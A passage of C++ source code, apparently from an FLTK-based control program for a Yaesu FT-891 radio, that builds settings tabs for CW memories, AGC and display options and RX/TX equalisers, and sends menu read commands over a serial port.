CWMemoryValue3->when(FL_WHEN_ENTER_KEY_ALWAYS); PlayCWMessage3 = new Fl_Button(PlayCWMessage2->x() , CWMemoryValue3->y(), choiceWidth, choiceHeight, "►"); PlayCWMessage3->align(FL_ALIGN_CENTER); PlayCWMessage3->callback((Fl_Callback*)::OnBox, this); CWMemoryValue4 = new Fl_Input(60,CWMemoryValue3->y() + choiceHeight, (4 * choiceWidth) + 20,choiceHeight, "MEM 4"); CWMemoryValue4->textfont(FL_TIMES_BOLD); CWMemoryValue4->textsize(20); CWMemoryValue4->callback((Fl_Callback*)&::OnMessageText,this); CWMemoryValue4->when(FL_WHEN_ENTER_KEY_ALWAYS); PlayCWMessage4 = new Fl_Button(PlayCWMessage3->x() , CWMemoryValue4->y(), choiceWidth, choiceHeight, "►"); PlayCWMessage4->align(FL_ALIGN_CENTER); PlayCWMessage4->callback((Fl_Callback*)::OnBox, this); CWMemoryValue5 = new Fl_Input(60,CWMemoryValue4->y() + choiceHeight, (4 * choiceWidth) + 20,choiceHeight, "MEM 5"); CWMemoryValue5->textfont(FL_TIMES_BOLD); CWMemoryValue5->textsize(20); CWMemoryValue5->callback((Fl_Callback*)&::OnMessageText,this); CWMemoryValue5->when(FL_WHEN_ENTER_KEY_ALWAYS); PlayCWMessage5 = new Fl_Button(PlayCWMessage4->x() , CWMemoryValue5->y(), choiceWidth, choiceHeight, "►"); PlayCWMessage5->align(FL_ALIGN_CENTER); PlayCWMessage5->callback((Fl_Callback*)::OnBox, this); CWSettingsTab->show(); CWSettingsTab->end(); } void FT891::BuildLightingGroup(int w, int h) { int y = 60; int iStart = 15; int sliderTop = (h - y - 320); int slidery = h - 320 - 15; int sliderHeight = 320; int sliderWidth = 45; int sliderGap = 20 + sliderWidth; int choiceWidth = (sliderWidth * 2) + 5; int choiceHeight = 30; int choiceX = iStart; Lighting = new Fl_Group(0, y, w, (h - y), "Misc"); AGCFastDelay = new Fl_Value_Slider(iStart , slidery, sliderWidth, sliderHeight, "AGC Fast"); AGCFastDelay->minimum(4000); AGCFastDelay->maximum(20); AGCFastDelay->step(20); AGCFastDelay->callback((Fl_Callback*)OnScrollBar, this); AGCFastDelay->align(FL_ALIGN_TOP); AGCMidDelay = new Fl_Value_Slider(AGCFastDelay->x() + sliderGap, slidery, sliderWidth,sliderHeight,"MID"); AGCMidDelay->minimum(4000); AGCMidDelay->maximum(20); AGCMidDelay->step(20); AGCMidDelay->callback((Fl_Callback*)OnScrollBar, this); AGCMidDelay->align(FL_ALIGN_TOP); AGCSlowDelay = new Fl_Value_Slider(AGCMidDelay->x() + sliderGap, slidery, sliderWidth,sliderHeight,"SLOW"); AGCSlowDelay->minimum(4000); AGCSlowDelay->maximum(20); AGCSlowDelay->step(20); AGCSlowDelay->callback((Fl_Callback*)OnScrollBar, this); AGCSlowDelay->align(FL_ALIGN_TOP); Backlight = new Fl_Value_Slider(AGCSlowDelay->x() + sliderGap, slidery, sliderWidth,sliderHeight,"Backlight"); Backlight->align(FL_ALIGN_TOP); Backlight->minimum(15); Backlight->maximum(1); Backlight->value(0.00000); Backlight->step(1.0); Backlight->callback((Fl_Callback*)OnScrollBar, this); LCD = new Fl_Value_Slider(Backlight->x() + sliderGap, slidery, sliderWidth, sliderHeight, "LDC"); LCD->align(FL_ALIGN_TOP); LCD->minimum(15); LCD->maximum(1); LCD->value(0.00000); LCD->step(1.0); LCD->callback((Fl_Callback*)OnScrollBar, this); LCDContrast = new Fl_Value_Slider(LCD->x() + sliderGap, slidery, sliderWidth, sliderHeight, "Contrast"); LCDContrast->align(FL_ALIGN_TOP); LCDContrast->minimum(15); LCDContrast->maximum(1); LCDContrast->value(0.00000); LCDContrast->step(1.0); LCDContrast->callback((Fl_Callback*)OnScrollBar, this); TxBusy = new Fl_Value_Slider(LCDContrast->x() + sliderGap, slidery, sliderWidth, sliderHeight, "TxBusy"); TxBusy->align(FL_ALIGN_TOP); TxBusy->minimum(15); TxBusy->maximum(1); TxBusy->value(0.00000); TxBusy->step(1.0); TxBusy->callback((Fl_Callback*)OnScrollBar, this); BeepLevel = new Fl_Value_Slider(TxBusy->x() + sliderGap, slidery, sliderWidth, sliderHeight, "Beep"); BeepLevel->align(FL_ALIGN_TOP); BeepLevel->minimum(100); BeepLevel->maximum(0); BeepLevel->value(0.00000); BeepLevel->step(1.0); BeepLevel->callback((Fl_Callback*)OnScrollBar, this); Lighting->box(FL_BORDER_BOX); choiceX = BeepLevel->x() + 15; APO = new Fl_Choice(15, y + choiceHeight , choiceWidth, choiceHeight, "APO"); APO->add("OFF", 0, OnChoice, this, 0); APO->add("1h", 0, OnChoice, this, 0); APO->add("2h", 0, OnChoice, this, 0); APO->add("3h", 0, OnChoice, this, 0); APO->add("4h", 0, OnChoice, this, 0); APO->add("6h", 0, OnChoice, this, 0); APO->add("8h", 0, OnChoice, this, 0); APO->add("10h", 0, OnChoice, this, 0); APO->add("12h", 0, OnChoice, this, 0); APO->align(FL_ALIGN_TOP); MemGroup = new Fl_Choice( APO->x() + choiceWidth + 20, APO->y(), choiceWidth, choiceHeight, "Mem Group"); MemGroup->add("Disable", 0, OnChoice, this, 0); MemGroup->add("Enable", 0, OnChoice, this, 0); MemGroup->align(FL_ALIGN_TOP); FMSetting = new Fl_Choice( MemGroup->x() + choiceWidth + 20,MemGroup->y(), choiceWidth, choiceHeight, "FM Setting"); FMSetting->add("Disable", 0, OnChoice, this, 0); FMSetting->add("Enable", 0, OnChoice, this, 0); FMSetting->align(FL_ALIGN_TOP); RECSetting = new Fl_Choice( FMSetting->x() + choiceWidth + 20,FMSetting->y(), choiceWidth, choiceHeight, "REC Setting"); RECSetting->add("Disable", 0, OnChoice, this, 0); RECSetting->add("Enable", 0, OnChoice, this, 0); RECSetting->align(FL_ALIGN_TOP); ATASSetting = new Fl_Choice(RECSetting->x() + choiceWidth + 20,RECSetting->y(), choiceWidth, choiceHeight, "ATAS Setting"); ATASSetting->add("Disable", 0, OnChoice, this, 0); ATASSetting->add("Enable", 0, OnChoice, this, 0); ATASSetting->align(FL_ALIGN_TOP); FanControl = new Fl_Choice(ATASSetting->x()+ choiceWidth + 20, ATASSetting->y() , choiceWidth, choiceHeight, "Fan Control" ); FanControl->add("Normal", 0, OnChoice, this, 0); FanControl->add("Contest", 0, OnChoice, this, 0); FanControl->align(FL_ALIGN_TOP); TXTot = new Fl_Choice(APO->x(), FanControl->y() + choiceHeight + 20, choiceWidth, choiceHeight, "TX TOT"); for(int i = 0; i != 31; i++) { TXTot->add(fmt::format("{:02} min",i).c_str(),0, OnChoice, this, 0); } TXTot->align(FL_ALIGN_TOP); MicScan = new Fl_Choice(TXTot->x() + choiceWidth + 20, TXTot->y(), choiceWidth, choiceHeight, "Mic Scan"); MicScan->add("Disable", 0, OnChoice, this, 0); MicScan->add("Enable", 0, OnChoice, this, 0); MicScan->align(FL_ALIGN_TOP); MicScanResume = new Fl_Choice(MicScan->x() + choiceWidth + 20, MicScan->y(), choiceWidth, choiceHeight, "Mic Scan Resume"); MicScanResume->add("Pause", 0, OnChoice, this, 0); MicScanResume->add("Time", 0, OnChoice, this, 0); MicScanResume->align(FL_ALIGN_TOP); DataMode = new Fl_Choice(MicScanResume->x() + choiceWidth + 20, MicScanResume->y() , choiceWidth, choiceHeight, "Data Mode"); DataMode->add("PSK", 0, OnChoice, this, 0); DataMode->add("OTHERS", 0, OnChoice, this, 0); DataMode->align(FL_ALIGN_TOP); PSKTone = new Fl_Choice(DataMode->x() + choiceWidth + 20, DataMode->y() , choiceWidth, choiceHeight, "PSK Tone"); PSKTone->add("1000 Hz", 0, OnChoice, this, 0); PSKTone->add("1500 Hz", 0, OnChoice, this, 0); PSKTone->add("2000 Hz", 0, OnChoice, this, 0); PSKTone->align(FL_ALIGN_TOP); Lighting->show(); Lighting->end(); } void FT891::BuildRxEQGroup(int w, int h) { int y = 60; int iStart = 15; int sliderTop = (h - y - 320); int slidery = h - 320 - 15; int sliderHeight = 320; int sliderWidth = 45; int sliderGap = 20 + sliderWidth; EQGroup = new Fl_Group(0, y, w, (h - y), "RX EQ"); int choiceWidth = 80; int choiceHeight = 30; int choiceX = iStart + 40; AmSettings = new Fl_Group(1,y + 30, w/5 ,h - choiceX - 30,"AM"); AMLCUTFreq = new Fl_Choice(choiceX, AmSettings->y() + 15, choiceWidth,choiceHeight,"L Freq "); int hertz = 100; for(int i = 0 ; i < 20; i++ ) { switch(i) { case 0: AMLCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: AMLCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } AMLCUTSlope = new Fl_Choice(choiceX,AMLCUTFreq->y() + 40,choiceWidth,choiceHeight, "L Slope"); AMLCUTSlope->add("6db", 0, OnChoice, this, 0); AMLCUTSlope->add("18db", 0, OnChoice, this, 0); AMHCUTFreq = new Fl_Choice(choiceX, AMLCUTSlope->y() + 40, choiceWidth,choiceHeight,"H Freq "); hertz = 700; for(int i = 0 ; i < 68; i++) { switch(i) { case 0: AMHCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: AMHCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } AMHCUTSlope = new Fl_Choice(choiceX,AMHCUTFreq->y() + 40, choiceWidth,choiceHeight, "H Slope"); AMHCUTSlope->add("6db", 0, OnChoice, this, 0); AMHCUTSlope->add("18db", 0, OnChoice, this, 0); AMOutLevel = new Fl_Value_Slider( AmSettings->x() + (AmSettings->w()/2) - (sliderWidth / 2) , AMHCUTSlope->y() + 65, sliderWidth, -(AMHCUTSlope->y() - AmSettings->h()), "Out"); AMOutLevel->align(FL_ALIGN_TOP); AMOutLevel->minimum(100); AMOutLevel->maximum(0); AMOutLevel->value(0.00000); AMOutLevel->step(1.0); AMOutLevel->callback((Fl_Callback*)OnScrollBar, this); AmSettings->box(FL_BORDER_BOX); AmSettings->end(); CWSettings = new Fl_Group(AmSettings->x() + AmSettings->w(),y + 30, w/5 ,h - choiceX - 30,"CW"); choiceX = CWSettings->x() + (CWSettings->w() - choiceWidth) - 2; CWLCUTFreq = new Fl_Choice(choiceX, CWSettings->y() + 15, choiceWidth,choiceHeight,"L Freq "); hertz = 100; for(int i = 0 ; i < 20; i++ ) { switch(i) { case 0: CWLCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: CWLCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } CWLCUTSlope = new Fl_Choice(choiceX,CWLCUTFreq->y() + 40,choiceWidth,choiceHeight, "L Slope"); CWLCUTSlope->add("6db", 0, OnChoice, this, 0); CWLCUTSlope->add("18db", 0, OnChoice, this, 0); CWHCUTFreq = new Fl_Choice(choiceX, CWLCUTSlope->y() + 40, choiceWidth,choiceHeight,"H Freq "); hertz = 700; for(int i = 0 ; i < 68; i++) { switch(i) { case 0: CWHCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: CWHCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } CWHCUTSlope = new Fl_Choice(choiceX,AMHCUTFreq->y() + 40, choiceWidth,choiceHeight, "H Slope"); CWHCUTSlope->add("6db", 0, OnChoice, this, 0); CWHCUTSlope->add("18db", 0, OnChoice, this, 0); CWOutLevel = new Fl_Value_Slider( CWSettings->x() + (CWSettings->w()/2) - (sliderWidth / 2) , CWHCUTSlope->y() + 65, sliderWidth, -(CWHCUTSlope->y() - CWSettings->h()), "Out"); CWOutLevel->align(FL_ALIGN_TOP); CWOutLevel->minimum(100); CWOutLevel->maximum(0); CWOutLevel->value(0.00000); CWOutLevel->step(1.0); CWOutLevel->callback((Fl_Callback*)OnScrollBar, this); CWSettings->box(FL_BORDER_BOX); CWSettings->end(); RTTYSettings = new Fl_Group(CWSettings->x() + CWSettings->w(),y + 30, w/5 ,CWSettings->h(),"RTTY"); choiceX = RTTYSettings->x() + (RTTYSettings->w() - choiceWidth) - 2; RTTYLCUTFreq = new Fl_Choice(choiceX, RTTYSettings->y() + 15, choiceWidth,choiceHeight,"L Freq "); hertz = 100; for(int i = 0 ; i < 20; i++ ) { switch(i) { case 0: RTTYLCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: RTTYLCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } RTTYLCUTSlope = new Fl_Choice(choiceX,RTTYLCUTFreq->y() + 40,choiceWidth,choiceHeight, "L Slope"); RTTYLCUTSlope->add("6db", 0, OnChoice, this, 0); RTTYLCUTSlope->add("18db", 0, OnChoice, this, 0); RTTYHCUTFreq = new Fl_Choice(choiceX, RTTYLCUTSlope->y() + 40, choiceWidth,choiceHeight,"H Freq "); hertz = 700; for(int i = 0 ; i < 68; i++) { switch(i) { case 0: RTTYHCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: RTTYHCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } RTTYHCUTSlope = new Fl_Choice(choiceX,AMHCUTFreq->y() + 40, choiceWidth,choiceHeight, "H Slope"); RTTYHCUTSlope->add("6db", 0, OnChoice, this, 0); RTTYHCUTSlope->add("18db", 0, OnChoice, this, 0); RTTYOutLevel = new Fl_Value_Slider( RTTYSettings->x() + (RTTYSettings->w()/2) - (sliderWidth / 2) , RTTYHCUTSlope->y() + 65, sliderWidth, -(RTTYHCUTSlope->y() - RTTYSettings->h()), "Out"); RTTYOutLevel->align(FL_ALIGN_TOP); RTTYOutLevel->minimum(100); RTTYOutLevel->maximum(0); RTTYOutLevel->value(0.00000); RTTYOutLevel->step(1.0); RTTYOutLevel->callback((Fl_Callback*)OnScrollBar, this); RTTYSettings->box(FL_BORDER_BOX); RTTYSettings->end(); DATASettings = new Fl_Group(RTTYSettings->x() + RTTYSettings->w(),y + 30, w/5 ,RTTYSettings->h(),"DATA"); choiceX = DATASettings->x() + (DATASettings->w() - choiceWidth) - 2; DATALCUTFreq = new Fl_Choice(choiceX, DATASettings->y() + 15, choiceWidth,choiceHeight,"L Freq "); hertz = 100; for(int i = 0 ; i < 20; i++ ) { switch(i) { case 0: DATALCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: DATALCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } DATALCUTSlope = new Fl_Choice(choiceX,DATALCUTFreq->y() + 40,choiceWidth,choiceHeight, "L Slope"); DATALCUTSlope->add("6db", 0, OnChoice, this, 0); DATALCUTSlope->add("18db", 0, OnChoice, this, 0); DATAHCUTFreq = new Fl_Choice(choiceX, DATALCUTSlope->y() + 40, choiceWidth,choiceHeight,"H Freq "); hertz = 700; for(int i = 0 ; i < 68; i++) { switch(i) { case 0: DATAHCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: DATAHCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } DATAHCUTSlope = new Fl_Choice(choiceX,AMHCUTFreq->y() + 40, choiceWidth,choiceHeight, "H Slope"); DATAHCUTSlope->add("6db", 0, OnChoice, this, 0); DATAHCUTSlope->add("18db", 0, OnChoice, this, 0); DATAOutLevel = new Fl_Value_Slider( DATASettings->x() + (DATASettings->w()/2) - (sliderWidth / 2) , DATAHCUTSlope->y() + 65, sliderWidth, -(DATAHCUTSlope->y() - DATASettings->h()), "Out"); DATAOutLevel->align(FL_ALIGN_TOP); DATAOutLevel->minimum(100); DATAOutLevel->maximum(0); DATAOutLevel->value(0.00000); DATAOutLevel->step(1.0); DATAOutLevel->callback((Fl_Callback*)OnScrollBar, this); DATASettings->box(FL_BORDER_BOX); DATASettings->end(); SSBSettings = new Fl_Group(DATASettings->x() + DATASettings->w(),y + 30, w/5 ,DATASettings->h(),"SSB"); choiceX = SSBSettings->x() + (SSBSettings->w() - choiceWidth) - 2; SSBLCUTFreq = new Fl_Choice(choiceX, SSBSettings->y() + 15, choiceWidth,choiceHeight,"L Freq "); hertz = 100; for(int i = 0 ; i < 20; i++ ) { switch(i) { case 0: SSBLCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: SSBLCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } SSBLCUTSlope = new Fl_Choice(choiceX,SSBLCUTFreq->y() + 40,choiceWidth,choiceHeight, "L Slope"); SSBLCUTSlope->add("6db", 0, OnChoice, this, 0); SSBLCUTSlope->add("18db", 0, OnChoice, this, 0); SSBHCUTFreq = new Fl_Choice(choiceX, SSBLCUTSlope->y() + 40, choiceWidth,choiceHeight,"H Freq "); hertz = 700; for(int i = 0 ; i < 68; i++) { switch(i) { case 0: SSBHCUTFreq->add("OFF", 0, OnChoice, this, 0); break; default: SSBHCUTFreq->add(fmt::format("{:d}Hz",hertz).c_str(), 0, OnChoice, this, 0); hertz += 50; break; } } SSBHCUTSlope = new Fl_Choice(choiceX,AMHCUTFreq->y() + 40, choiceWidth,choiceHeight, "H Slope"); SSBHCUTSlope->add("6db", 0, OnChoice, this, 0); SSBHCUTSlope->add("18db", 0, OnChoice, this, 0); SSBOutLevel = new Fl_Value_Slider( SSBSettings->x() + (SSBSettings->w()/2) - (sliderWidth / 2) , SSBHCUTSlope->y() + 65, sliderWidth, -(SSBHCUTSlope->y() - SSBSettings->h()), "Out"); SSBOutLevel->align(FL_ALIGN_TOP); SSBOutLevel->minimum(100); SSBOutLevel->maximum(0); SSBOutLevel->value(0.00000); SSBOutLevel->step(1.0); SSBOutLevel->callback((Fl_Callback*)OnScrollBar, this); SSBSettings->box(FL_BORDER_BOX); SSBSettings->end(); EQGroup->end(); } void FT891::BuildTXEQGroup(int w, int h) { int y = 60; int iStart = 15; int sliderTop = (h - y - 320); int slidery = h - 320 - 15; int sliderHeight = 320; int sliderWidth = 45; int sliderGap = 20 + sliderWidth; TXEQGroup = new Fl_Group(0, y, w, (h - y), "TX EQ"); int choiceWidth = (sliderWidth * 2) + 5; int choiceHeight = 30; int choiceX = iStart; MicEQGroup = new Fl_Group(0,TXEQGroup->y() + 30, TXEQGroup->w()/2, TXEQGroup->h() - 30, "MIC"); MicEQGroup->box(FL_BORDER_BOX); MicCenterFreq1 = new Fl_Choice(choiceX,sliderTop - choiceHeight - 5,choiceWidth,choiceHeight, "Low Freq"); MicCenterFreq1->add("OFF", 0, OnChoice, this, 0); MicCenterFreq1->add("100Hz", 0, OnChoice, this, 0); MicCenterFreq1->add("200Hz", 0, OnChoice, this, 0); MicCenterFreq1->add("300Hz", 0, OnChoice, this, 0); MicCenterFreq1->add("400Hz", 0, OnChoice, this, 0); MicCenterFreq1->add("500Hz", 0, OnChoice, this, 0); MicCenterFreq1->add("600Hz", 0, OnChoice, this, 0); MicCenterFreq1->add("700Hz", 0, OnChoice, this, 0); MicCenterFreq1->align(FL_ALIGN_TOP); MicEQLevel1 = new Fl_Value_Slider(choiceX, MicCenterFreq1->y() + MicCenterFreq1->h() + 25, sliderWidth,sliderHeight,"Level"); MicEQLevel1->range(20, -20); MicEQLevel1->step(1.0); MicEQLevel1->callback((Fl_Callback*)::OnScrollBar,this); MicEQLevel1->align(FL_ALIGN_TOP); MicBandWidth1 = new Fl_Value_Slider(MicEQLevel1->x() + MicEQLevel1->w() + 5, MicEQLevel1->y(), sliderWidth,sliderHeight,"Width"); MicBandWidth1->range(10, 1); MicBandWidth1->step(1.0); MicBandWidth1->callback((Fl_Callback*)::OnScrollBar,this); MicBandWidth1->align(FL_ALIGN_TOP); choiceX = choiceX + choiceWidth + 20; MicCenterFreq2 = new Fl_Choice(choiceX,sliderTop - choiceHeight - 5,choiceWidth,choiceHeight, "Mid Freq"); MicCenterFreq2->align(FL_ALIGN_TOP); MicCenterFreq2->add("OFF", 0, OnChoice, this, 0); MicCenterFreq2->add("700Hz", 0, OnChoice, this, 0); MicCenterFreq2->add("800Hz", 0, OnChoice, this, 0); MicCenterFreq2->add("900Hz", 0, OnChoice, this, 0); MicCenterFreq2->add("1000Hz", 0, OnChoice, this, 0); MicCenterFreq2->add("1100Hz", 0, OnChoice, this, 0); MicCenterFreq2->add("1200Hz", 0, OnChoice, this, 0); MicCenterFreq2->add("1300Hz", 0, OnChoice, this, 0); MicCenterFreq2->add("1400Hz", 0, OnChoice, this, 0); MicCenterFreq2->add("1500Hz", 0, OnChoice, this, 0); MicEQLevel2 = new Fl_Value_Slider(choiceX, MicCenterFreq2->y() + MicCenterFreq2->h() + 25, sliderWidth,sliderHeight,"Level"); MicEQLevel2->range(20, -20); MicEQLevel2->step(1.0); MicEQLevel2->callback((Fl_Callback*)::OnScrollBar,this); MicEQLevel2->align(FL_ALIGN_TOP); MicBandWidth2 = new Fl_Value_Slider(MicEQLevel2->x() + MicEQLevel2->w() + 5, MicEQLevel2->y(), sliderWidth,sliderHeight,"Width"); MicBandWidth2->range(10, 1); MicBandWidth2->step(1.0); MicBandWidth2->callback((Fl_Callback*)::OnScrollBar,this); MicBandWidth2->align(FL_ALIGN_TOP); choiceX = choiceX + choiceWidth + 20; MicCenterFreq3 = new Fl_Choice(choiceX,sliderTop - choiceHeight - 5,choiceWidth,choiceHeight, "High Freq"); MicCenterFreq3->align(FL_ALIGN_TOP); MicCenterFreq3->add("OFF", 0, OnChoice, this, 0); MicCenterFreq3->add("1500Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("1600Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("1700Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("1800Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("1900Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2000Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2100Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2200Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2300Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2400Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2500Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2600Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2700Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2800Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("2900Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("3000Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("3100Hz", 0, OnChoice, this, 0); MicCenterFreq3->add("3200Hz", 0, OnChoice, this, 0); MicEQLevel3 = new Fl_Value_Slider(choiceX, MicCenterFreq3->y() + MicCenterFreq3->h() + 25, sliderWidth,sliderHeight,"Level"); MicEQLevel3->range(20, -20); MicEQLevel3->step(1.0); MicEQLevel3->callback((Fl_Callback*)::OnScrollBar,this); MicEQLevel3->align(FL_ALIGN_TOP); MicBandWidth3 = new Fl_Value_Slider(MicEQLevel3->x() + MicEQLevel3->w() + 5, MicEQLevel3->y(), sliderWidth,sliderHeight,"Width"); MicBandWidth3->range(10, 1); MicBandWidth3->step(1.0); MicBandWidth3->callback((Fl_Callback*)::OnScrollBar,this); MicBandWidth3->align(FL_ALIGN_TOP); MicEQGroup->end(); choiceX = choiceX + choiceWidth + 20; CompEQGroup = new Fl_Group(MicEQGroup->x() + MicEQGroup->w(), MicEQGroup->y(), MicEQGroup->w(), MicEQGroup->h(), "PROC"); CompEQGroup->box(FL_BORDER_BOX); MicPCenterFreq1 = new Fl_Choice(choiceX,sliderTop - choiceHeight - 5,choiceWidth,choiceHeight, "Low Freq"); MicPCenterFreq1->add("OFF", 0, OnChoice, this, 0); MicPCenterFreq1->add("100Hz", 0, OnChoice, this, 0); MicPCenterFreq1->add("200Hz", 0, OnChoice, this, 0); MicPCenterFreq1->add("300Hz", 0, OnChoice, this, 0); MicPCenterFreq1->add("400Hz", 0, OnChoice, this, 0); MicPCenterFreq1->add("500Hz", 0, OnChoice, this, 0); MicPCenterFreq1->add("600Hz", 0, OnChoice, this, 0); MicPCenterFreq1->add("700Hz", 0, OnChoice, this, 0); MicPCenterFreq1->align(FL_ALIGN_TOP); MicPEQLevel1 = new Fl_Value_Slider(choiceX, MicPCenterFreq1->y() + MicPCenterFreq1->h() + 25, sliderWidth,sliderHeight,"Level"); MicPEQLevel1->range(20, -20); MicPEQLevel1->step(1.0); MicPEQLevel1->callback((Fl_Callback*)::OnScrollBar,this); MicPEQLevel1->align(FL_ALIGN_TOP); MicPBandWidth1 = new Fl_Value_Slider(MicPEQLevel1->x() + MicPEQLevel1->w() + 5, MicPEQLevel1->y(), sliderWidth,sliderHeight,"Width"); MicPBandWidth1->range(10, 1); MicPBandWidth1->step(1.0); MicPBandWidth1->callback((Fl_Callback*)::OnScrollBar,this); MicPBandWidth1->align(FL_ALIGN_TOP); choiceX = choiceX + choiceWidth + 20; MicPCenterFreq2 = new Fl_Choice(choiceX,sliderTop - choiceHeight - 5,choiceWidth,choiceHeight, "Mid Freq"); MicPCenterFreq2->add("OFF", 0, OnChoice, this, 0); MicPCenterFreq2->add("700Hz", 0, OnChoice, this, 0); MicPCenterFreq2->add("800Hz", 0, OnChoice, this, 0); MicPCenterFreq2->add("900Hz", 0, OnChoice, this, 0); MicPCenterFreq2->add("1000Hz", 0, OnChoice, this, 0); MicPCenterFreq2->add("1100Hz", 0, OnChoice, this, 0); MicPCenterFreq2->add("1200Hz", 0, OnChoice, this, 0); MicPCenterFreq2->add("1300Hz", 0, OnChoice, this, 0); MicPCenterFreq2->add("1400Hz", 0, OnChoice, this, 0); MicPCenterFreq2->add("1500Hz", 0, OnChoice, this, 0); MicPCenterFreq2->align(FL_ALIGN_TOP); MicPEQLevel2 = new Fl_Value_Slider(choiceX, MicPCenterFreq2->y() + MicPCenterFreq2->h() + 25, sliderWidth,sliderHeight,"Level"); MicPEQLevel2->range(20, -20); MicPEQLevel2->step(1.0); MicPEQLevel2->callback((Fl_Callback*)::OnScrollBar,this); MicPEQLevel2->align(FL_ALIGN_TOP); MicPBandWidth2 = new Fl_Value_Slider(MicPEQLevel2->x() + MicPEQLevel2->w() + 5, MicPEQLevel2->y(), sliderWidth,sliderHeight,"Width"); MicPBandWidth2->range(10, 1); MicPBandWidth2->step(1.0); MicPBandWidth2->callback((Fl_Callback*)::OnScrollBar,this); MicPBandWidth2->align(FL_ALIGN_TOP); choiceX = choiceX + choiceWidth + 20; MicPCenterFreq3 = new Fl_Choice(choiceX,sliderTop - choiceHeight - 5,choiceWidth,choiceHeight, "High Freq"); MicPCenterFreq3->add("OFF", 0, OnChoice, this, 0); MicPCenterFreq3->add("1500Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("1600Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("1700Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("1800Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("1900Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2000Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2100Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2200Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2300Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2400Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2500Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2600Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2700Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2800Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("2900Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("3000Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("3100Hz", 0, OnChoice, this, 0); MicPCenterFreq3->add("3200Hz", 0, OnChoice, this, 0); MicPCenterFreq3->align(FL_ALIGN_TOP); MicPEQLevel3 = new Fl_Value_Slider(choiceX, MicPCenterFreq3->y() + MicPCenterFreq3->h() + 25, sliderWidth,sliderHeight,"Level"); MicPEQLevel3->range(20, -20); MicPEQLevel3->step(1.0); MicPEQLevel3->callback((Fl_Callback*)::OnScrollBar,this); MicPEQLevel3->align(FL_ALIGN_TOP); MicPBandWidth3 = new Fl_Value_Slider(MicPEQLevel3->x() + MicPEQLevel3->w() + 5, MicPEQLevel3->y(), sliderWidth,sliderHeight,"Width"); MicPBandWidth3->range(10, 1); MicPBandWidth3->step(1.0); MicPBandWidth3->callback((Fl_Callback*)::OnScrollBar,this); MicPBandWidth3->align(FL_ALIGN_TOP); CompEQGroup->end(); TXEQGroup->end(); } void OnTabChanged(Fl_Tabs* obj, void* cls) { FT891* pthis = (FT891*)cls; pthis->OnTabChanged(obj); } void FT891::OnTabChanged(Fl_Tabs* tabs) { if(tabs->value() == CatSettingsTab & CatSettingsLoaded == false) { CatSettingsLoaded = true; m_port.writeString(Menu::ReadSSBPTTSelect()); m_port.writeString(Menu::ReadAMPTTSelect()); m_port.writeString(Menu::ReadPktPTTSelect()); m_port.writeString(Menu::ReadDATAPTTSelect()); m_port.writeString(Menu::ReadCatRate()); m_port.writeString(Menu::ReadCatTOT()); m_port.writeString(Menu::ReadCatTOT()); m_port.writeString(Menu::ReadPCKeying()); } else if(tabs->value() == TXEQGroup & TXEQGroupLoaded == false) { TXEQGroupLoaded = true; m_port.writeString(Menu::ReadEQ1Freq()); m_port.writeString(Menu::ReadEQ1Bwth()); m_port.writeString(Menu::ReadEQ1Level()); m_port.writeString(Menu::ReadEQ2Freq()); m_port.writeString(Menu::ReadEQ2Bwth()); m_port.writeString(Menu::ReadEQ2Level()); m_port.writeString(Menu::ReadEQ3Freq()); m_port.writeString(Menu::ReadEQ3Bwth()); m_port.writeString(Menu::ReadEQ3Level()); 